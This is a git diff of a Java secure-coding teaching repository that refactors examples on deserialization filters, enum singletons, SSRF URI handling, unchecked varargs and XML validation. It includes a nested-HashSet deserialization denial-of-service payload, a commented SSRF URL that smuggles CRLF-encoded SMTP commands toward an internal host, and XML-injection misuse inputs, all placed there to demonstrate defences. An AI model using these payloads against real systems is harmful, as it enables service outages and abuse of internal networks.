Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + package ser09j; import java.io.ObjectInputFilter; diff --git a/JavaSCR9/src/main/java/ser09j/LookAheadDeserializer.java b/JavaSCR9/src/main/java/ser09j/LookAheadDeserializer.java index f95cb70..37d4fd1 100644 --- a/JavaSCR9/src/main/java/ser09j/LookAheadDeserializer.java +++ b/JavaSCR9/src/main/java/ser09j/LookAheadDeserializer.java @@ -7,6 +7,7 @@ import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import ser09j.Bicycle; +import serial.Serial; import java.util.HashSet; import java.util.Properties; @@ -22,14 +23,7 @@ */ public class LookAheadDeserializer { - private static byte[] serialize(Object o) throws IOException { - try (ByteArrayOutputStream ba = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(ba)) { - oos.writeObject(o); - return ba.toByteArray(); - } - } - - static byte[] DoSpayload() throws IOException { + private static byte[] DoSpayload() throws IOException { Set root = new HashSet<>(); Set s1 = root; Set s2 = new HashSet<>(); @@ -44,34 +38,30 @@ static byte[] DoSpayload() throws IOException { s1 = t1; s2 = t2; } - return serialize(root); + return Serial.serialize(root); } - private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException { - Object obj; - try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) { - // (2) TODO: enable custom filter - // ois.setObjectInputFilter(new BikeFilter()); - obj = ois.readObject(); - } - return obj; + BikeFilter filter = null; + // (2) TODO: enable custom filter + filter = new BikeFilter(); + return Serial.deserialize(buffer, filter); } public static void main(String[] args) throws ClassNotFoundException, IOException { // (3) TODO: enable process-wide filter //Properties props = System.getProperties(); - //props.setProperty("jdk.serialFilter", "ser09j.Bicycle;!*;maxdepth=1;maxrefs=1;maxbytes=78;maxarray=10"); + //props.setProperty("jdk.serialFilter", "maxdepth=1;maxrefs=1;maxbytes=78;maxarray=10;ser09j.Bicycle;!*"); byte[] serializedBicycle = null; byte[] serializedFile = null; try { // Serialize a Bicycle instance - serializedBicycle = serialize(new Bicycle(0, "Unicycle", 1)); + serializedBicycle = Serial.serialize(new Bicycle(0, "Unicycle", 1)); // Serialize a File instance - serializedFile = serialize(new File("file.txt")); + serializedFile = Serial.serialize(new File("file.txt")); } catch (IOException e1) { e1.printStackTrace(); } diff --git a/JavaSCR/src/main/java/ser101j/Person.java b/JavaSCR9/src/main/java/ser101j/Person.java similarity index 99% rename from JavaSCR/src/main/java/ser101j/Person.java rename to JavaSCR9/src/main/java/ser101j/Person.java index be4cdb7..c3c69e7 100644 --- a/JavaSCR/src/main/java/ser101j/Person.java +++ b/JavaSCR9/src/main/java/ser101j/Person.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR9/src/main/java/ser10j/DeserializeEnumSingleton.java b/JavaSCR9/src/main/java/ser10j/DeserializeEnumSingleton.java new file mode 100644 index 0000000..509ab72 --- /dev/null +++ b/JavaSCR9/src/main/java/ser10j/DeserializeEnumSingleton.java @@ -0,0 +1,40 @@ +// The MIT License (MIT) +// +// Copyright (c) 2019 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package ser10j; + +import java.io.FileInputStream; +import java.io.IOException; +import java.io.ObjectInputStream; + +public class DeserializeEnumSingleton { + public static void main(String[] args) throws ClassNotFoundException, IOException { + EnumSingleton.INSTANCE.setValue(21); + System.out.println("EnumSingleton.INSTANCE = " + EnumSingleton.INSTANCE.getValue()); + try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("tempdata.ser"))) { + EnumSingleton one = (EnumSingleton) ois.readObject(); + System.out.println("EnumSingleton.INSTANCE == one is " + (EnumSingleton.INSTANCE == one)); + System.out.println("one = " + one.getValue()); + System.out.println("EnumSingleton.INSTANCE = " + EnumSingleton.INSTANCE.getValue()); + } + } +} diff --git a/JavaSCR/src/main/java/ser09j/DeserializeEnumSingletonUseCase.java b/JavaSCR9/src/main/java/ser10j/DeserializeEnumSingletonUseCase.java similarity index 96% rename from JavaSCR/src/main/java/ser09j/DeserializeEnumSingletonUseCase.java rename to JavaSCR9/src/main/java/ser10j/DeserializeEnumSingletonUseCase.java index 7a20740..387a2fd 100644 --- a/JavaSCR/src/main/java/ser09j/DeserializeEnumSingletonUseCase.java +++ b/JavaSCR9/src/main/java/ser10j/DeserializeEnumSingletonUseCase.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package ser09j; +package ser10j; import java.io.FileInputStream; import java.io.IOException; diff --git a/JavaSCR/src/main/java/ser09j/DeserializeSingleton.java b/JavaSCR9/src/main/java/ser10j/DeserializeSingleton.java similarity index 97% rename from JavaSCR/src/main/java/ser09j/DeserializeSingleton.java rename to JavaSCR9/src/main/java/ser10j/DeserializeSingleton.java index c9d38bf..bcacbd2 100644 --- a/JavaSCR/src/main/java/ser09j/DeserializeSingleton.java +++ b/JavaSCR9/src/main/java/ser10j/DeserializeSingleton.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package ser09j; +package ser10j; import java.io.FileInputStream; import java.io.IOException; diff --git a/JavaSCR9/src/main/java/ser10j/EnumSingleton.java b/JavaSCR9/src/main/java/ser10j/EnumSingleton.java new file mode 100644 index 0000000..bfa0b07 --- /dev/null +++ b/JavaSCR9/src/main/java/ser10j/EnumSingleton.java @@ -0,0 +1,51 @@ +// The MIT License (MIT) +// +// Copyright (c) 2019 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package ser10j; + +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; + +public enum EnumSingleton { + INSTANCE; + private int value; + public int getValue() { + return value; + } + public void setValue(int value) { + this.value = value; + } + + @SuppressWarnings("SameParameterValue") + private static void serialize(Object o) throws IOException { + try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tempdata.ser"))) { + oos.writeObject(o); + } + } + + public static void main(String[] args) throws IOException { + EnumSingleton.INSTANCE.setValue(42); + System.out.println("EnumSingleton.INSTANCE = " + EnumSingleton.INSTANCE.getValue()); + serialize(EnumSingleton.INSTANCE); + } +} diff --git a/JavaSCR/src/main/java/ser09j/Singleton.java b/JavaSCR9/src/main/java/ser10j/Singleton.java similarity index 92% rename from JavaSCR/src/main/java/ser09j/Singleton.java rename to JavaSCR9/src/main/java/ser10j/Singleton.java index 9052898..06aedf5 100644 --- a/JavaSCR/src/main/java/ser09j/Singleton.java +++ b/JavaSCR9/src/main/java/ser10j/Singleton.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package ser09j; +package ser10j; import java.io.FileOutputStream; import java.io.IOException; @@ -33,7 +33,8 @@ public class Singleton implements Serializable { private Singleton() { } - static void serialize(Object o) throws IOException { + @SuppressWarnings("SameParameterValue") + private static void serialize(Object o) throws IOException { try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tempdata.ser"))) { oos.writeObject(o); } diff --git a/JavaSCR/src/main/java/acc02j/RefAppClass.java b/JavaSCR9/src/main/java/serial/Serial.java similarity index 56% rename from JavaSCR/src/main/java/acc02j/RefAppClass.java rename to JavaSCR9/src/main/java/serial/Serial.java index 223c05e..7a0db83 100644 --- a/JavaSCR/src/main/java/acc02j/RefAppClass.java +++ b/JavaSCR9/src/main/java/serial/Serial.java @@ -1,17 +1,17 @@ // The MIT License (MIT) -// -// Copyright (c) 2017 Robert C. Seacord -// +// +// Copyright (c) 2019 Robert C. Seacord +// // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: -// +// // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. -// +// // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE @@ -20,29 +20,28 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package acc02j; -import src.acclib.acclib.LibClass; +package serial; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; +import java.io.*; -class RefAppClass { - public static void main(String[] args) { - SecurityManager sm = System.getSecurityManager(); - if (sm != null) { - System.out.println("Security manager installed."); - } else { - System.out.println("No security manager."); +public class Serial { + public static byte[] serialize(Object o) throws IOException { + try (ByteArrayOutputStream ba = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(ba)) { + oos.writeObject(o); + return ba.toByteArray(); } - - System.setProperty(LibClass.OPTIONS, "extra-secure"); - LibClass lc = new LibClass(); - Method m; - try { - m = lc.getClass().getMethod("getOptions"); - System.out.println("Options = " + lc.invoke(m, null)); - } catch (NoSuchMethodException | SecurityException | IllegalAccessException | IllegalArgumentException | InvocationTargetException e) { - e.printStackTrace(); + } + + public static Object deserialize(byte[] bytes) throws ClassNotFoundException, IOException { + return new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject(); + } + + public static Object deserialize(byte[] buffer, ObjectInputFilter filter) throws IOException, ClassNotFoundException { + Object obj; + try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) { + ois.setObjectInputFilter(filter); + obj = ois.readObject(); } + return obj; } -} \ No newline at end of file +} diff --git a/JavaSCR9/src/main/java/ssrf/URI2IP.java b/JavaSCR9/src/main/java/ssrf/URI2IP.java new file mode 100644 index 0000000..ec60f7b --- /dev/null +++ b/JavaSCR9/src/main/java/ssrf/URI2IP.java @@ -0,0 +1,219 @@ +// The MIT License (MIT) +// +// Copyright (c) 2020 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package ssrf; + +import java.net.*; +import java.util.stream.IntStream; + +@SuppressWarnings("SpellCheckingInspection") +class URI2IP { + + /** Check if the given IP address lies within the subnet given in CIDR notation. + * Classless Inter-Domain Routing + * The notation is constructed from an IP address, a slash ('/') character, and a decimal number. + * The number is the count of leading 1 bits in the subnet mask. + * Larger values here indicate smaller networks. + * + * Supports IPv4 and IPv6. + * + * @param ipString the IP as string + * @param cidrString the subnet in CIDR notation + * @return true if the IP lies within the subnet, false otherwise + */ + @SuppressWarnings("SameParameterValue") + private static boolean cidrMatch(String ipString, String cidrString) throws UnknownHostException { + String[] parts = cidrString.split("/"); + + byte[] ip = InetAddress.getByName(ipString).getAddress(); + byte[] subnet = InetAddress.getByName(parts[0]).getAddress(); + + if (ip.length != subnet.length) { + // can't compare IPv6 with IPv4 address + return false; + } + + if (parts.length < 2) { + // can only do this now since there are multiple string representations of the same IP address + return java.util.Arrays.equals(ip, subnet); + } else { + int bits; + try { + bits = Integer.parseInt(parts[1]); + } catch (NumberFormatException nfe) { + throw new IllegalArgumentException("Invalid CIDR notation: " + cidrString); + } + if (bits < 0 || bits > ip.length * 8) { + throw new IllegalArgumentException("Invalid CIDR notation: " + cidrString); + } + if (bits == 0) { + return false; + } + + if (IntStream.range(0, bits/8).anyMatch(i -> ip[i] != subnet[i])) { + return false; + } + + if (bits % 8 != 0) { + // compare remaining bits + int nextByte = bits/8; + return ip[nextByte] >> (8 - bits % 8) == (subnet[nextByte] >> (8 - bits % 8)); + } + } + + return true; + } + + @SuppressWarnings("SameParameterValue") + private static String Uri2Ip(String uri) throws URISyntaxException, UnknownHostException { + URI yuri = new URI(uri); + InetAddress address = InetAddress.getByName(yuri.getHost()); + return address.getHostAddress(); + } + + public static void main(String[] args) throws URISyntaxException { + // Equivalency issues + System.out.println("Equivalency issues"); + + // Relative URI references + URI yuri1 = new URI("http://example.com/intro#chap1"); + URI yuri2 = new URI("intro#chap1"); + if (yuri1.normalize() == yuri2.normalize()) { + System.out.println(yuri1.normalize() + " equals " + yuri2.normalize()); + } + else { + System.out.println(yuri1.normalize() + " does not equal " + yuri2.normalize()); + } + + // RFC2396-Sensitive Comparison. RFC2396 does not authorize the removal of the /./ and b/../ fragments + // except in the case of relative URI references, but that this is arguably an inconsistency and that + // software often does so anyhow. %7A = URL encoded z. + yuri1 = new URI("example://a/b/c/%7A"); + yuri2 = new URI("eXAMPLE://a/./b/../b/c/%7a"); + if (yuri1.normalize() == yuri2.normalize()) { + System.out.println(yuri1.normalize() + " equals " + yuri2.normalize()); + } + else { + System.out.println(yuri1.normalize() + " does not equal " + yuri2.normalize()); + } + + // %-Escaping Issues + // Software applying RFC2396's rules would not find these equivalent, since the %2f is being used explicitly to + // escape the special semantics in URIs of the / character. + yuri1 = new URI("http://a/b"); + yuri2 = new URI("http://a%2fb"); + if (yuri1.normalize() == yuri2.normalize()) { + System.out.println(yuri1.normalize() + " equals " + yuri2.normalize()); + } + else { + System.out.println(yuri1.normalize() + " does not equal " + yuri2.normalize()); + } + + // Software applying RFC2396's rules might consider these equivalent, since %61 encodes the character a in both + // ASCII and UTF-8, but context becomes significant. RFC2396 does not constrain the character-to-octet mapping + // scheme used in URIs. If the second URI had been generated on a machine in which the EBCDIC character-to-octet + // mapping was in use, the %61 would encode the character / (quite naturally, since / must be encoded but a need + // never be). + yuri1 = new URI("http://dir/a"); + yuri2 = new URI("http://dir/%61"); + if (yuri1.normalize() == yuri2.normalize()) { + System.out.println(yuri1.normalize() + " equals " + yuri2.normalize()); + } + else { + System.out.println(yuri1.normalize() + " does not equal " + yuri2.normalize()); + } + + // Scheme-Sensitive Processing + yuri1 = new URI("http://example.com/"); + yuri2 = new URI("http://example.com:80/"); + if (yuri1.normalize() == yuri2.normalize()) { + System.out.println(yuri1.normalize() + " equals " + yuri2.normalize()); + } + else { + System.out.println(yuri1.normalize() + " does not equal " + yuri2.normalize()); + } + + System.exit(0); + } +} + + + + + + + + +// System.out.println(URI2IP.Uri2Ip("https://www.nccgroup.com")); +// +// System.out.println(new URI("http://169.254.0.0/").getHost()); +// System.out.println(InetAddress.getByName("127.0.0.1").getHostAddress()); +// System.out.println(InetAddress.getByName("127.0.0").getHostAddress()); +// System.out.println(InetAddress.getByName("127.0").getHostAddress()); +// System.out.println(InetAddress.getByName("127").getHostAddress()); +// +// URI yuri = new URI("127.0.0.1"); +// System.out.println(yuri); +// System.out.println(yuri.normalize()); +// yuri = new URI("1"); +// System.out.println(yuri); +// System.out.println(yuri.normalize()); +// yuri = new URI("123.123.123"); +// System.out.println(yuri); +// System.out.println(yuri.normalize()); +// +// if (cidrMatch("127.0.0.1", "127.0.0.0/8")) { +// System.out.println("127.0.0.1 is in the range of 127.0.0.0/8"); +// } +// else { +// System.out.println("127.0.0.1 is NOT in the range of 127.0.0.0/8"); +// } +// if (cidrMatch("123.123.123", "127.0.0.0/8")) { +// System.out.println("123.123.123 is in the range of 127.0.0.0/8"); +// } +// else { +// System.out.println("123.123.123 is NOT in the range of 127.0.0.0/8"); +// } +// if (cidrMatch("169.254.0.0", "127.0.0.0/8")) { +// System.out.println("169.254.0.0 is in the range of 127.0.0.0/8"); +// } +// else { +// System.out.println("169.254.0.0 is NOT in the range of 127.0.0.0/8"); +// } +// +// try { +// URL earl = new URL("https://10.0.0.33 %0D%0AHELO nccgroup.com%0D%0AMAIL FROM…:25/"); +// System.out.println("earl Query is: " + earl.getQuery()); +// System.out.println("earl Path is: " + earl.getPath()); +// System.out.println("earl UserInfo is: " + earl.getUserInfo()); +// System.out.println("earl Authority is: " + earl.getAuthority()); +// System.out.println("earl Host is: " + earl.getHost()); +// System.out.println("earl Port is: " + earl.getPort()); +// System.out.println("earl Protocol is: " + earl.getProtocol()); +// System.out.println("earl File is: " + earl.getFile()); +// System.out.println("earl Ref is: " + earl.getRef()); +// earl.getContent(); +// } catch (IOException e) { +// e.printStackTrace(); +// } +// } +//} \ No newline at end of file diff --git a/JavaSCR/src/main/java/OBJ03J/Box.java b/JavaSCR9/src/main/java/varArgs/Box.java similarity index 99% rename from JavaSCR/src/main/java/OBJ03J/Box.java rename to JavaSCR9/src/main/java/varArgs/Box.java index 78fe472..eb09b5c 100644 --- a/JavaSCR/src/main/java/OBJ03J/Box.java +++ b/JavaSCR9/src/main/java/varArgs/Box.java @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ03J; +package varArgs; import java.util.ArrayList; import java.util.List; diff --git a/JavaSCR/src/main/java/OBJ03J/UnsafeVarargs.java b/JavaSCR9/src/main/java/varArgs/UnsafeVarargs.java similarity index 96% rename from JavaSCR/src/main/java/OBJ03J/UnsafeVarargs.java rename to JavaSCR9/src/main/java/varArgs/UnsafeVarargs.java index 2b9393a..d891949 100644 --- a/JavaSCR/src/main/java/OBJ03J/UnsafeVarargs.java +++ b/JavaSCR9/src/main/java/varArgs/UnsafeVarargs.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ03J; +package varArgs; import java.util.Arrays; diff --git a/JavaSCR9/src/main/java/varArgs/listUtility.java b/JavaSCR9/src/main/java/varArgs/listUtility.java new file mode 100644 index 0000000..1446eb2 --- /dev/null +++ b/JavaSCR9/src/main/java/varArgs/listUtility.java @@ -0,0 +1,68 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package varArgs; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +class listUtility { + + // Raw object added to parameterized list + private static void addToList(List list, Object obj) { + list.add(obj); // Unchecked warning + } + + // Correctly typed object added to parameterized list. +// private static void addToList(List list, String obj) { +// list.add(obj); // Unchecked warning +// } + + public static void main(String[] args) { + List list = new ArrayList<>(); + // The call to addToList(list, 42) succeeds in adding an integer to + // list, although it is of type List. + addToList(list, 42); + // addToList(list, Integer.toString(43)); + + // This Java runtime does not throw a ClassCastException until the value + // is read and has an invalid type (an int rather than a String). + try { + System.out.println(list.get(0)); // Throws ClassCastException + } + catch (ClassCastException cce) { + cce.printStackTrace(); + } + + // If the addToList() method is legacy code that cannot be changed, + // create a checked list view using the Collections.checkedList() method. + // This method returns a wrapper collection that performs runtime type checking in + // its implementation of the add() method before delegating to the + // backing List. + List backingList = new ArrayList<>(); + List checkedList = Collections.checkedList(backingList, String.class); + addToList(checkedList, 42); + System.out.println(list.get(0)); + + } +} \ No newline at end of file diff --git a/JavaSCR/src/main/java/IDS16J/CustomResolver.java b/JavaSCR9/src/main/java/xml/CustomResolver.java similarity index 95% rename from JavaSCR/src/main/java/IDS16J/CustomResolver.java rename to JavaSCR9/src/main/java/xml/CustomResolver.java index 5014bc1..ea3cb0c 100644 --- a/JavaSCR/src/main/java/IDS16J/CustomResolver.java +++ b/JavaSCR9/src/main/java/xml/CustomResolver.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package IDS16J; +package xml; import java.io.IOException; import org.xml.sax.EntityResolver; @@ -29,7 +29,7 @@ class CustomResolver implements EntityResolver { @Override - public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException { + public InputSource resolveEntity(String publicId, String systemId) { // Check for known good entities String entityPath = "file:src/IDS17J/copyright"; //$NON-NLS-1$ diff --git a/JavaSCR/src/main/java/IDS16J/OnlineStore.java b/JavaSCR9/src/main/java/xml/OnlineStore.java similarity index 90% rename from JavaSCR/src/main/java/IDS16J/OnlineStore.java rename to JavaSCR9/src/main/java/xml/OnlineStore.java index 7874517..6390b70 100644 --- a/JavaSCR/src/main/java/IDS16J/OnlineStore.java +++ b/JavaSCR9/src/main/java/xml/OnlineStore.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package IDS16J; +package xml; import java.io.BufferedOutputStream; import java.io.ByteArrayOutputStream; @@ -91,7 +91,7 @@ public void fatalError(SAXParseException s) throws SAXParseException { throw s; } }; - StreamSource ss = new StreamSource(new File("JavaSCR/src/main/java/IDS16J/schema.xsd")); + StreamSource ss = new StreamSource(new File("JavaSCR9\\src\\main\\java\\xml\\schema.xsd")); try { Schema schema = sf.newSchema(ss); SAXParserFactory spf = SAXParserFactory.newInstance(); @@ -117,10 +117,10 @@ public static void main(String[] args) { // Unvalidated input try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); BufferedOutputStream bos = new BufferedOutputStream(baos)) { - createXMLStreamBad(bos, "1"); - createXMLStreamBad(bos, "11.01"); + createXMLStreamBad(bos, "1"); // valid use case + createXMLStreamBad(bos, "11.01"); // misuse } catch (Exception ex) { - System.err.println("thrown exception: " + ex.toString()); + System.err.println("thrown exception: " + ex); Throwable[] suppressed = ex.getSuppressed(); for (Throwable aSuppressed : suppressed) { System.err.println("suppressed exception: " + aSuppressed.toString()); @@ -130,10 +130,10 @@ public static void main(String[] args) { // Schema validated try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); BufferedOutputStream bos = new BufferedOutputStream(baos)) { - createXMLStreamDTD(bos, "1"); - createXMLStreamDTD(bos, "11.01"); + createXMLStreamDTD(bos, "1"); // valid use case + createXMLStreamDTD(bos, "11.01"); // misuse } catch (IOException ex) { - System.err.println("thrown exception: " + ex.toString()); + System.err.println("thrown exception: " + ex); Throwable[] suppressed = ex.getSuppressed(); for (Throwable aSuppressed : suppressed) { System.err.println("suppressed exception: " + aSuppressed.toString()); @@ -143,10 +143,12 @@ public static void main(String[] args) { // Schema validation try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); BufferedOutputStream bos = new BufferedOutputStream(baos)) { - createXMLStreamDTD(bos, - "0Widget0100"); + createXMLStreamDTD( + bos, + "0Widget0100" + ); // misuse } catch (IOException ex) { - System.err.println("thrown exception: " + ex.toString()); + System.err.println("thrown exception: " + ex); Throwable[] suppressed = ex.getSuppressed(); for (Throwable aSuppressed : suppressed) { System.err.println("suppressed exception: " + aSuppressed.toString()); @@ -156,10 +158,10 @@ public static void main(String[] args) { // Input validation try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); BufferedOutputStream bos = new BufferedOutputStream(baos)) { - createXMLStream(bos, "1"); - createXMLStream(bos, "11.01"); + createXMLStream(bos, "1"); // valid use case + createXMLStream(bos, "11.01"); // misuse } catch (Exception ex) { - System.err.println("thrown exception: " + ex.toString()); + System.err.println("thrown exception: " + ex); Throwable[] suppressed = ex.getSuppressed(); for (Throwable aSuppressed : suppressed) { System.err.println("suppressed exception: " + aSuppressed.toString()); @@ -172,7 +174,7 @@ public static void main(String[] args) { createXMLStream(bos, "0Widget0100"); } catch (Exception ex) { - System.err.println("thrown exception: " + ex.toString()); + System.err.println("thrown exception: " + ex); Throwable[] suppressed = ex.getSuppressed(); for (Throwable aSuppressed : suppressed) { System.err.println("suppressed exception: " + aSuppressed.toString()); diff --git a/JavaSCR/src/main/java/IDS16J/schema.xsd b/JavaSCR9/src/main/java/xml/schema.xsd similarity index 100% rename from JavaSCR/src/main/java/IDS16J/schema.xsd rename to JavaSCR9/src/main/java/xml/schema.xsd diff --git 